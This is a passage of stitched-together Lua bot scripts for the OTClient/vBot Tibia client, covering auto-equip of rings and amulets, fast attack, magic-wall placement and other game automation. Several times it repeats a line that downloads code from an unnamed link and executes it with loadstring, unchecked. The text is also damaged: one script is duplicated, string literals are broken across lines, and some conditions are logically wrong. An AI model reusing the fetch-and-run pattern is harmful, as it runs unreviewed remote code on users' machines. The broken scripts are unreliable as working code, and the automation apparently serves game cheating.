widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end

local updateRingText = function()


ui.ringTitle:setText("" .. storage[panelName].ringMin .. "% <= " .. storage[panelName].ringValue .. " >=
" .. storage[panelName].ringMax .. "%")
ui.ringTitle:setColor("green")
ui.ringTitle:setFont("verdana-11px")
end
local updateAmmyText = function()
ui.ammyTitle:setText("" .. storage[panelName].ammyMin .. "% <= " .. storage[panelName].ammyValue ..
" >= " .. storage[panelName].ammyMax .. "%")
ui.ammyTitle:setColor("green")
ui.ammyTitle:setFont("verdana-11px")
end

ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end

ui.ringScroll1.onValueChange = function(scroll, value)


storage[panelName].ringMin = value
updateRingText()
end
ui.ringScroll2.onValueChange = function(scroll, value)
storage[panelName].ringMax = value
updateRingText()
end
ui.ammyScroll1.onValueChange = function(scroll, value)
storage[panelName].ammyMin = value
updateAmmyText()
end
ui.ammyScroll2.onValueChange = function(scroll, value)
storage[panelName].ammyMax = value
updateAmmyText()
end
ui.ringId.onItemChange = function(widget)
storage[panelName].ringId = widget:getItemId()
end
ui.ammyId.onItemChange = function(widget)
storage[panelName].ammyId = widget:getItemId()
end

ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)

local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip

-- basic ring check


function defaultRingFind()
if storage[panelName].ringEnabled then
if getFinger() and (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) then
defaultRing = getFinger():getId()
else
defaultRing = false
end
end
end
defaultRingFind()

-- basic amulet check


function defaultAmmyFind()
if storage[panelName].ammyEnabled then
if getNeck() and (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) then
defaultAmmy = getNeck():getId()
else
defaultAmmy = false
end
end
end
defaultAmmyFind()
ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end

macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)

-- basic conditions to met


if not storage[panelName].ringEnabled and not storage[panelName].ammyEnabled then return end
if not storage[panelName].ringEnabled and storage[panelName].ammyEnabled and not ammyToEquip
and (not getNeck() or (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId))) then return end
if storage[panelName].ringEnabled and not storage[panelName].ammyEnabled and not ringToEquip and
(not getFinger() or (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId))) then return end

-- ring unequip conditions


if storage[panelName].ringEnabled and getFinger() and getFinger():getId() ==
getActiveItemId(storage[panelName].ringId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueRing and hppercent() >= storage[panelName].ringMax) or
(storage[panelName].valueRing and manapercent() >= storage[panelName].ringMax)) then
if defaultRing then
moveToSlot(findItem(defaultRing), SlotFinger, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getFinger(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- amulet unequip conditions


if storage[panelName].ammyEnabled and getNeck() and getNeck():getId() ==
getActiveItemId(storage[panelName].ammyId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueAmmy and hppercent() >= storage[panelName].ammyMax) or (not
storage[panelName].valueAmmy and manapercent() >= storage[panelName].ammyMax)) then
if defaultAmmy then
moveToSlot(findItem(defaultAmmy), SlotNeck, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getNeck(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- ring equip conditions


if storage[panelName].ringEnabled and (not getFinger() or getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueRing and hppercent() <= storage[panelName].ringMin) or
(storage[panelName].valueRing and manapercent() <= storage[panelName].ringMin)) then
moveToSlot(ringToEquip, SlotFinger, 1)
end
-- amulet equip conditions
if storage[panelName].ammyEnabled and (not getNeck() or getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueAmmy and hppercent() <= storage[panelName].ammyMin) or
(storage[panelName].valueAmmy and manapercent() <= storage[panelName].ammyMin)) then
moveToSlot(ammyToEquip, SlotNeck, 1)
end
end)
-- end of function
end
jewelleryEquip()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

UI.Label("Ring y Amuleto:")

function jewelleryEquip(parent)
if not parent then
parent = panel
end
panelName = "jewelleryEquipper"
local ui = setupUI([[
Panel
height: 135
margin-top: 2

BotItem
id: ringId
anchors.left: parent.left
anchors.top: parent.top

SmallBotSwitch
id: ringSwitch
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: ring
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueRing
anchors.left: ringSwitch.right
anchors.right: parent.right
anchors.top: parent.top
text-align: center
text: Mana
margin-left: 3
margin-right: 0
BotLabel
id: ringTitle
anchors.left: ringId.right
anchors.right: parent.right
anchors.top: ringId.verticalCenter
text-align: center

HorizontalScrollBar
id: ringScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ringId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ringScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1

BotItem
id: ammyId
anchors.left: parent.left
anchors.top: ringScroll1.bottom
margin-top: 5

SmallBotSwitch
id: ammySwitch
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: amuleto
margin-top: 5
margin-left: 3
margin-right: 45

SmallBotSwitch
id: valueAmmy
anchors.left: ammySwitch.right
anchors.right: parent.right
anchors.top: ringScroll2.bottom
text-align: center
text: Mana
margin-top: 5
margin-left: 3

BotLabel
id: ammyTitle
anchors.left: ammyId.right
anchors.right: parent.right
anchors.top: ammyId.verticalCenter
text-align: center

HorizontalScrollBar
id: ammyScroll1
anchors.left: parent.left
anchors.right: parent.horizontalCenter
anchors.top: ammyId.bottom
margin-right: 2
margin-top: 2
minimum: 0
maximum: 100
step: 1

HorizontalScrollBar
id: ammyScroll2
anchors.left: parent.horizontalCenter
anchors.right: parent.right
anchors.top: prev.top
margin-left: 2
minimum: 0
maximum: 100
step: 1

Button
id: resetDefault
anchors.top: ammyScroll2.bottom
anchors.left: parent.left
anchors.right: parent.horizontalCenter
margin-top: 10
margin-left: 4
text: Reset

SmallBotSwitch
id: pzCheck
anchors.top: ammyScroll2.bottom
anchors.left: resetDefault.right
anchors.bottom: resetDefault.bottom
anchors.right: parent.right
margin-top: 10
margin-right: 4
margin-left: 4
text: Ignorar PZ

]], parent)
ui:setId(panelName)
if not storage[panelName] or not storage[panelName].ringId or not storage[panelName].ammyId then
storage[panelName] = {
pzCheck = true,
ringSwitch = true,
ammySwitch = true,
ringId = 3048,
ammyId = 3081,
ringMin = 30,
ringMax = 80,
ammyMin = 30,
ammyMax = 80,
valueAmmy = false,
valueRing = false,
ringValue = "HP",
ammyValue = "HP"
}
end

ui.ringSwitch:setOn(storage[panelName].ringEnabled)
ui.ringSwitch.onClick = function(widget)
storage[panelName].ringEnabled = not storage[panelName].ringEnabled
widget:setOn(storage[panelName].ringEnabled)
end
ui.ammySwitch:setOn(storage[panelName].ammyEnabled)
ui.ammySwitch.onClick = function(widget)
storage[panelName].ammyEnabled = not storage[panelName].ammyEnabled
widget:setOn(storage[panelName].ammyEnabled)
end
ui.pzCheck:setOn(storage[panelName].pzCheck)
ui.pzCheck.onClick = function(widget)
storage[panelName].pzCheck = not storage[panelName].pzCheck
widget:setOn(storage[panelName].pzCheck)
end

local updateRingText = function()


ui.ringTitle:setText("" .. storage[panelName].ringMin .. "% <= " .. storage[panelName].ringValue .. " >=
" .. storage[panelName].ringMax .. "%")
ui.ringTitle:setColor("green")
ui.ringTitle:setFont("verdana-11px")
end
local updateAmmyText = function()
ui.ammyTitle:setText("" .. storage[panelName].ammyMin .. "% <= " .. storage[panelName].ammyValue ..
" >= " .. storage[panelName].ammyMax .. "%")
ui.ammyTitle:setColor("green")
ui.ammyTitle:setFont("verdana-11px")
end

ui.valueRing:setOn(storage[panelName].valueRing)
ui.valueRing.onClick = function(widget)
storage[panelName].valueRing = not storage[panelName].valueRing
widget:setOn(storage[panelName].valueRing)
if storage[panelName].valueRing then
storage[panelName].ringValue = "MP"
else
storage[panelName].ringValue = "HP"
end
updateRingText()
end
ui.valueAmmy:setOn(storage[panelName].valueAmmy)
ui.valueAmmy.onClick = function(widget)
storage[panelName].valueAmmy = not storage[panelName].valueAmmy
widget:setOn(storage[panelName].valueAmmy)
if storage[panelName].valueAmmy then
storage[panelName].ammyValue = "MP"
else
storage[panelName].ammyValue = "HP"
end
updateAmmyText()
end

ui.ringScroll1.onValueChange = function(scroll, value)


storage[panelName].ringMin = value
updateRingText()
end
ui.ringScroll2.onValueChange = function(scroll, value)
storage[panelName].ringMax = value
updateRingText()
end
ui.ammyScroll1.onValueChange = function(scroll, value)
storage[panelName].ammyMin = value
updateAmmyText()
end
ui.ammyScroll2.onValueChange = function(scroll, value)
storage[panelName].ammyMax = value
updateAmmyText()
end
ui.ringId.onItemChange = function(widget)
storage[panelName].ringId = widget:getItemId()
end
ui.ammyId.onItemChange = function(widget)
storage[panelName].ammyId = widget:getItemId()
end

ui.ringScroll1:setValue(storage[panelName].ringMin)
ui.ringScroll2:setValue(storage[panelName].ringMax)
ui.ammyScroll1:setValue(storage[panelName].ammyMin)
ui.ammyScroll2:setValue(storage[panelName].ammyMax)
ui.ringId:setItemId(storage[panelName].ringId)
ui.ammyId:setItemId(storage[panelName].ammyId)

local defaultRing
local defaultAmmy
local ringToEquip
local ammyToEquip
-- basic ring check
function defaultRingFind()
if storage[panelName].ringEnabled then
if getFinger() and (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) then
defaultRing = getFinger():getId()
else
defaultRing = false
end
end
end
defaultRingFind()

-- basic amulet check


function defaultAmmyFind()
if storage[panelName].ammyEnabled then
if getNeck() and (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) then
defaultAmmy = getNeck():getId()
else
defaultAmmy = false
end
end
end
defaultAmmyFind()

ui.resetDefault.onClick = function(widget)
defaultRingFind()
defaultAmmyFind()
end

macro(20, function()
ammyToEquip = findItem(storage[panelName].ammyId)
ringToEquip = findItem(storage[panelName].ringId)

-- basic conditions to met


if not storage[panelName].ringEnabled and not storage[panelName].ammyEnabled then return end
if not storage[panelName].ringEnabled and storage[panelName].ammyEnabled and not ammyToEquip
and (not getNeck() or (getNeck():getId() ~= storage[panelName].ammyId and getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId))) then return end
if storage[panelName].ringEnabled and not storage[panelName].ammyEnabled and not ringToEquip and
(not getFinger() or (getFinger():getId() ~= storage[panelName].ringId and getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId))) then return end

-- ring unequip conditions


if storage[panelName].ringEnabled and getFinger() and getFinger():getId() ==
getActiveItemId(storage[panelName].ringId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueRing and hppercent() >= storage[panelName].ringMax) or
(storage[panelName].valueRing and manapercent() >= storage[panelName].ringMax)) then
if defaultRing then
moveToSlot(findItem(defaultRing), SlotFinger, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getFinger(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- amulet unequip conditions


if storage[panelName].ammyEnabled and getNeck() and getNeck():getId() ==
getActiveItemId(storage[panelName].ammyId) and ((storage[panelName].pzCheck and isInPz()) or (not
storage[panelName].valueAmmy and hppercent() >= storage[panelName].ammyMax) or (not
storage[panelName].valueAmmy and manapercent() >= storage[panelName].ammyMax)) then
if defaultAmmy then
moveToSlot(findItem(defaultAmmy), SlotNeck, 1)
else
for _,container in pairs(getContainers()) do
g_game.move(getNeck(), container:getSlotPosition(container:getItemsCount()))
return
end
end
end

-- ring equip conditions


if storage[panelName].ringEnabled and (not getFinger() or getFinger():getId() ~=
getActiveItemId(storage[panelName].ringId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueRing and hppercent() <= storage[panelName].ringMin) or
(storage[panelName].valueRing and manapercent() <= storage[panelName].ringMin)) then
moveToSlot(ringToEquip, SlotFinger, 1)
end
-- amulet equip conditions
if storage[panelName].ammyEnabled and (not getNeck() or getNeck():getId() ~=
getActiveItemId(storage[panelName].ammyId)) and (not storage[panelName].pzCheck or not isInPz()) and
((not storage[panelName].valueAmmy and hppercent() <= storage[panelName].ammyMin) or
(storage[panelName].valueAmmy and manapercent() <= storage[panelName].ammyMin)) then
moveToSlot(ammyToEquip, SlotNeck, 1)
end
end)
-- end of function
end
jewelleryEquip()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

--Made By VivoDibra
--Tested on vBot 4.8 / OTCV8 3.2 rev 4

local s = {}

g_ui.loadUIFromString([[
PvPScriptsScrollBar < Panel
height: 28
margin-top: 3

UIWidget
id: text
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
text-align: center

HorizontalScrollBar
id: scroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: prev.bottom
margin-top: 3
minimum: 0
maximum: 10
step: 1

PvPScriptsItem < Panel


height: 40
margin-top: 10
UIWidget
id: text
anchors.left: parent.left
anchors.verticalCenter: next.verticalCenter

BotItem
id: item
anchors.top: parent.top
anchors.right: parent.right

]])

local addScrollBar = function(id, title, min, max, defaultValue, dest, tooltip)


local widget = UI.createWidget("PvPScriptsScrollBar", dest)
widget.text:setTooltip(tooltip)
widget.scroll.onValueChange = function(scroll, value)
widget.text:setText(title..value)
if value == 0 then
value = 1
end
storage[id] = value
end
widget.scroll:setRange(min, max)
widget.scroll:setTooltip(tooltip)
widget.scroll:setValue(storage[id] or defaultValue)
widget.scroll.onValueChange(widget.scroll, widget.scroll:getValue())
end

local addItem = function(id, title, defaultItem, dest, tooltip)


local widget = UI.createWidget('PvPScriptsItem', dest)
widget:setId(id)
widget.text:setText(title)
widget.text:setTooltip(tooltip)
widget.item:setTooltip(tooltip)
widget.item:setItemId(storage[id] or defaultItem)
widget.item.onItemChange = function(widget)
storage[id] = widget:getItemId()
end
storage[id] = storage[id] or defaultItem
return widget
end

addSeparator()
addLabel("","E-Ring Custom"):setColor("green")
addSeparator()
addLabel()

addLabel("", "E-Ring"):setColor("#5DF2BD")
addScrollBar("ERingHP", "HP < ", 0, 100, 90, nil, "")
addScrollBar("ERingMP", "MP > ", 0, 100, 80, nil, "")
addItem("ERing", "normal id", storage.ERing or 3051, nil, "")
addItem("ERingEquipped", "equipped Id", storage.ERingEquipped or 3088, nil, "")

addLabel("", "Normal Ring"):setColor("yellow")


addScrollBar("NormalHP", "HP > ", 0, 100, 90, nil, "")
addScrollBar("NormalMP", "MP < ", 0, 100, 80, nil, "")
addItem("NormalRing", "normal id", storage.NormalRing or 3004, nil, "")
addItem("NormalRingEquipped", "equipped id", storage.NormalRingEquipped or 3004, nil, "")

s.equipItem = function(normalId, activeId, slot)


local item = getInventoryItem(slot)
if item and item:getId() == activeId then
return false
end

if g_game.getClientVersion() >= 870 then


g_game.equipItemId(normalId)
return true
end

local itemToEquip = findItem(normalId)


if itemToEquip then
moveToSlot(itemToEquip, slot, itemToEquip:getCount())
return true
end
end

function crazyHPPercent()
return (player:getHealth() / 100) * 10
end

s.m_main = macro(200, "E-Ring", function()


local hp = hppercent()
local mp = manapercent()

local equipEnergy = hp < storage.ERingHP and mp > storage.ERingMP


local equipNormal = hp > storage.NormalHP and mp <= storage.NormalMP

if equipEnergy then
s.equipItem(storage.ERing, storage.ERingEquipped, SlotFinger)
elseif equipNormal then
s.equipItem(storage.NormalRing, storage.NormalRingEquipped, SlotFinger)
end
end)

addSeparator()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

-- macro para ignorar certos IDs pelo mapa

-- Script feito por F.Almeida


-- Se foi útil pra você e quiser fazer uma doação:
-- https://www.paypal.com/donate/?
business=8XSU4KTS2V9PN&no_recurring=0&item_name=OTC+AND+OTS+SCRIPTS&currency_code=BRL

local replace_id = 2110


local mark_color = "red"
if not storage.avoid_items or type(storage.avoid_items) ~= "table" then
storage.avoid_items = {2147,2145,2148,2146}
end

local avoidMacro = macro(10*60*1000,"Avoid Traps",function()


end)

local function parseItems(items)


local parse = {}
for e, entry in pairs(items) do
local id = type(entry) == 'table' and entry.id or entry
table.insert(parse,id)
end
return parse
end

local avoidContainer = UI.Container(function(widget, items)


storage.avoid_items = parseItems(items)
end, true)
avoidContainer:setHeight(35)
avoidContainer:setItems(parseItems(storage.avoid_items))

local i = addIcon("qq",{text="Avoid\nTraps"}, avoidMacro)


i.text:setFont("verdana-11px-rounded")
onAddThing(function(tile, thing)
if not avoidMacro:isOn() then return end
if thing:isItem() then
if not isOnTile(replace_id,tile) then
local oldId = thing:getId()
if table.find(storage.avoid_items,oldId) then
local item = thing
if thing:isGround() then
local create = Item.create()
tile:addThing(create,1)
item = create
end
item:setId(replace_id)
item:setMarked(mark_color)
end
end
end
end)

UI.Separator()

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

-- -- GET NEXT POSITION


-- local offset = {
-- [0] = {0,-1},
-- [1] = {1,0},
-- [2] = {0,1},
-- [3] = {-1,0},
-- }
-- function spec:getNextPosition()
-- local off = offset[spec:getDirection()]
-- local pos = spec:getPosition()
-- pos.x, pos.y = pos.x + off[1], pos.y + off[2]
-- local tile = g_map.getTile(pos)
-- if tile then
-- return tile:getPosition()
-- end
-- end

-- pegar id dos containers abertos


macro(100,"pegar id container",function(m)
for c, cont in pairs(getContainers()) do
print(cont:getName(),cont:getContainerItem():getId())
end
m:setOff()
end)

-- previous container / up button


macro(1000,"Prev Cont",function()
for c, cont in pairs(g_game.getContainers()) do
local cWindow = cont.window
if cWindow then
local upButton = cWindow:recursiveGetChildById('upButton')
if upButton then
upButton.onClick()
end
end
end
end)

-- Container Next Page


macro(1000,"Container Next Page",function()
for c, cont in pairs(g_game.getContainers()) do
local cWindow = cont.window
if cWindow then
local nextPageButton = cWindow:recursiveGetChildById('nextPageButton')
if nextPageButton and nextPageButton:isEnabled() then
return nextPageButton.onClick()
end
end
end
end)

-- fast atk
macro(50, "Fast Attack", function()
for i, spec in ipairs(getSpectators(false)) do
if spec:isMonster() then
g_game.attack(spec)
g_game.cancelAttack()
break
end
end
end)

-- use item from ground on player


local potion_id = 1234
local player_name = "Frederico"
macro(500,"Pot do Chao kk",function()
local findPot = findItemOnGround(potion_id)
if findPot then
local friend = getCreatureByName(player_name)
if friend then
return useWith(findPot,friend)
end
end
end)

macro(100,"descobrir right panel",function(m)


local rPanel = modules.game_interface.getRightPanel()
local childs = rPanel:getChildren()
for c, child in ipairs(childs) do
print(child:getId())
end
m:setOff()
end)

macro(100,"descobrir paineis root",function(m)


local root = g_ui.getRootWidget()
local childs = root:getChildren()
for c, child in ipairs(childs) do
print(child:getId())
end
m:setOff()
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("+")


UI.Separator()

----- TEM QUE ESTAR COM CHECKPLAYER LIGADO -----


----- "HOLD FLOWER MW" PRECISA ESTAR LIGADO PARA FUNCIONA -----
----- SE NÃO QUISER USAR O "MW NO MOUSE", DEIXE EM BRANCO -----
----- HOTKEYS DO "HOLD FLOWER MW" É A MESMA DO HOLD MW DO BOT -----

if not storage.extras then


storage.extras = { }
end

---------------------------- FECHAR CAST

closecast = macro(5000, "Close cast", function()


if getChannelId("live cast chat") then
delay(1000)
modules.game_console.removeTab("live cast chat")
delay(1000)
end
end)

---------------------------- mostra a posições X/Y/Z no server log, onde tu der look

onTextMessage(function(mode, text)
if mode == 20 and text:find("You see") then
if not modules.game_interface.gameMapPanel.mousePos then return end
local tile =
modules.game_interface.gameMapPanel:getTile(modules.game_interface.gameMapPanel.mousePos)
if tile then
local loc = tile:getPosition()

if not modules.game_textmessage then return end


modules.game_textmessage.displayMessage(16, "position: " .. loc.x.. ", "..loc.y..", "..loc.z)
end
end
end)
---------------------------- ANTI PUSH

local dropItems = { 3492, 3590, 3031 }


local maxStackedItems = 5
local dropDelay = 10

addIcon("AntiPush", {item={id=3031,count=100}, movable=true, hotkey="Insert", text="AntiPush"},


macro(dropDelay , "", function()
local tile = g_map.getTile(pos())
if tile and tile:getThingCount() < maxStackedItems then
local thing = tile:getTopThing()
if thing and not thing:isNotMoveable() then
for i, item in pairs(dropItems) do
if item ~= thing:getId() then
local dropItem = findItem(item)
if dropItem then
g_game.move(dropItem, pos(), 1)
end
end
end
end
end
end))

---------------------------- PUSH TRASH NO PÉ

gpPushDelay = 200 -- safe value: 600ms

macro(gpPushDelay, "Puxar Trash", "End", function()


push(0, -1, 0)
push(0, 1, 0)
push(-1, -1, 0)
push(-1, 0, 0)
push(-1, 1, 0)
push(1, -1, 0)
push(1, 0, 0)
push(1, 1, 0)
end)

function push(x, y, z)
local position = player:getPosition()
position.x = position.x + x
position.y = position.y + y

local tile = g_map.getTile(position)


local thing = tile:getTopThing()
if thing and thing:isItem() then
g_game.move(thing, player:getPosition(), thing:getCount())
end
end
UI.Separator()
---------------------------- MW NO PÉ

local toggle = macro(10, "Mwall Step", "F12",function() end) -- taca mw no sqm anterior

onPlayerPositionChange(function(newPos, oldPos)
if oldPos.z ~= posz() then return end
if oldPos then
local tile = g_map.getTile(oldPos)
if toggle.isOn() and tile:isWalkable() then
useWith(3180, tile:getTopUseThing())
toggle.setOff()
end
end
end)

---------------------------- MW NO PÉ DO TARGET

local toggle2 = macro(10, "MW Target Step", "F11", function() end) -- taca mw no sqm onde o alvo esta

onCreaturePositionChange(function(creature, newPos, oldPos)


if creature == target() or creature == g_game.getFollowingCreature() then
if oldPos and oldPos.z == posz() then
local tile2 = g_map.getTile(oldPos)
if toggle2.isOn() and tile2:isWalkable() then
useWith(3180, tile2:getTopUseThing())
toggle2.setOff()
end
end
end
end)

---------------------------- JOGAR FLOR DO KOVEIRO

local flowerHot
local hold = 0
local candidates = {}

local m = macro(20, "Hold Flower MW", function()


if #candidates == 0 then return end
for i, pos in pairs(candidates) do
local tile = g_map.getTile(pos)
if tile then
if tile:getText():len() == 0 then
table.remove(candidates, i)
end
local item1 = findItem(2981)
local item2 = findItem(2983)
local item3 = findItem(2984)
if tile:getText() == "FLOWER MW" then rune = 3180 end
if tile:canShoot() and not isInPz() and tile:isWalkable() and tile:getTopUseThing():getId() ~= 2130 and
tile:getTopUseThing():getId() ~= 2129 and tile:getTopUseThing():getId() ~= 2981 and
tile:getTopUseThing():getId() ~= 2982 and tile:getTopUseThing():getId() ~= 2983 then
if math.abs(player:getPosition().x-tile:getPosition().x) < 10 and math.abs(player:getPosition().y-
tile:getPosition().y) < 10 then
if item1 then
return g_game.move(item1, pos, 1)
elseif item2 then
return g_game.move(item2, pos, 1)
elseif item3 then
return g_game.move(item3, pos, 1)
end
return useWith(rune, tile:getTopUseThing())
end
end
end
end
end)

onRemoveThing(function(tile, thing)
if thing:getId() ~= 2129 or thing:getId() ~= 2130 or thing:getId() ~= 2981 or thing:getId() ~= 2982 or
thing:getId() ~= 2983 then return end
if tile:getText():find("FLOWER") then
table.insert(candidates, tile:getPosition())
local item1 = findItem(2981)
local item2 = findItem(2983)
local item3 = findItem(2984)
if tile:getText() == "FLOWER MW" then rune = 3180 end
if item1 then
return g_game.move(item1, pos, 1)
elseif item2 then
return g_game.move(item2, pos, 1)
elseif item3 then
return g_game.move(item3, pos, 1)
end
return useWith(rune, tile:getTopUseThing())
end
end)

onAddThing(function(tile, thing)
if m.isOff() then return end
if thing:getId() ~= 2129 or thing:getId() ~= 2130 or thing:getId() ~= 2981 or thing:getId() ~= 2982 or
thing:getId() ~= 2983 then return end
if tile:getText():len() > 0 then
table.remove(candidates, table.find(candidates,tile))
end
end)

onKeyDown(function(keys)
local wsadWalking = modules.game_walking.wsadWalking
if not wsadWalking then return end
if m.isOff() then return end
if keys ~= storage.extras.holdMwHot then return end
hold = now
local tile = getTileUnderCursor()
if not tile then return end
if math.abs(player:getPosition().x-tile:getPosition().x) == 0 and math.abs(player:getPosition().y-
tile:getPosition().y) == 0 then return end
if tile:getText():len() > 0 then
tile:setText("")
else
if keys == storage.extras.holdMwHot and not isInPz() then
tile:setText("FLOWER MW")
end
table.insert(candidates, tile:getPosition())
end
end)

onKeyPress(function(keys)
local wsadWalking = modules.game_walking.wsadWalking
if not wsadWalking then return end
if m.isOff() then return end
if keys ~= storage.extras.holdMwHot then return end
if (hold - now) < -1000 then
candidates = {}
for i, tile in ipairs(g_map.getTiles(posz())) do
local text = tile:getText()
if text:find("FLOWER") then
tile:setText("")
end
end
end
end)
UI.Separator()

---------------------------- MW NO PONTEIRO DO MOUSE

mwmouse = "hotkeynamw"
if not storage[mwmouse] then
storage[mwmouse] = { key = 'F10'}
end
UI.Label("Hotkey MW no mouse: ")
UI.TextEdit(storage[mwmouse].key or "F10", function(widget, newText)
storage[mwmouse].key = newText
end)
onKeyUp(function(keys)
if (keys ~= storage[mwmouse].key) then return end
local tile = getTileUnderCursor();
if (not tile) then return; end
local pos = tile:getPosition();
useWith(3180, tile:getTopUseThing())
end)
UI.Separator()

---------------------------- MW NA FRENTE DO TARGET

mwfrente = "hotkeymwf"
if not storage[mwfrente] then
storage[mwfrente] = { hkf = ''}
end
UI.Label("Hotkey MW Frente Target:")
UI.TextEdit(storage[mwfrente].hkf, function(widget, newText)
storage[mwfrente].hkf = newText
end)

local mwallId = 3180 -- Mwall ID


local squaresThreshold = 2 -- quantidade de sqm a tacar MW frente do char
onKeyUp(function(keys)
if (keys ~= storage[mwfrente].hkf) then return end
local target = g_game.getAttackingCreature() or g_game.getFollowingCreature()
if target then
local targetPos = target:getPosition()
local targetDir = target:getDirection()
local mwallTile
if targetDir == 0 then -- north
targetPos.y = targetPos.y - squaresThreshold
mwallTile = g_map.getTile(targetPos)
useWith(mwallId, mwallTile:getTopUseThing())
elseif targetDir == 1 then -- east
targetPos.x = targetPos.x + squaresThreshold
mwallTile = g_map.getTile(targetPos)
useWith(mwallId, mwallTile:getTopUseThing())
elseif targetDir == 2 then -- south
targetPos.y = targetPos.y + squaresThreshold
mwallTile = g_map.getTile(targetPos)
useWith(mwallId, mwallTile:getTopUseThing())
elseif targetDir == 3 then -- west
targetPos.x = targetPos.x - squaresThreshold
mwallTile = g_map.getTile(targetPos)
useWith(mwallId, mwallTile:getTopUseThing())
end
end
end)
UI.Separator()

---------------------------- SUMMON

macro(500, "Vocation Summon", function()


if not timeSummon or timeSummon <= now then
if isInPz() then return end
if modules.game_cooldown.isGroupCooldownIconActive(3) then return end
local voc_data = { [11] = "eq", [1] = "eq", [12] = "sac", [2] = "sac", [13] = "ven", [3] = "ven", [14] = "dru",
[4] = "dru", }
local spell_end = voc_data[player:getVocation()]
if spell_end and lvl() >= 200 then
local spell = "utevo gran res " .. spell_end
if canCast(spell) then
cast(spell)
timeSummon = now + 1805000
end
end
end
end)

---------------------------- BP PRINCIPAL SEMPRE ABERTA

macro(1000, "Main BP Open",function()


bpItem = getBack()
bp = getContainer(0)
if not bp and bpItem ~= nil then
g_game.open(bpItem)
end
end)

---------------------------- LIMPAR TEXTOS

macro(1000, "Limpar Textos", function()


modules.game_textmessage.clearMessages()
g_map.cleanTexts()
end)
UI.Separator()

---------------------------- CLICK REUSE

local reUseToggle = macro(1000, "Click ReUse", "", function() end)


local excluded = {268, 237, 238, 23373, 266, 236, 239, 7643, 23375, 7642, 23374, 5908, 5942,
storage.extras.shovel, storage.extras.rope, storage.extras.machete}

onUseWith(function(pos, itemId, target, subType)


if reUseToggle.isOn() and not table.find(excluded, itemId) then
schedule(50, function()
item = findItem(itemId)
if item then
modules.game_interface.startUseWith(item)
end
end)
end
end)
UI.Separator()

---------------------------- ESCONDER ALIADOS

local ui = setupUI([[
Panel
height: 37

BotSwitch
id: title
anchors.top: parent.top
anchors.left: parent.left
anchors.right: parent.right
text-align: center
!text: tr('Hide Allies Members')

BotSwitch
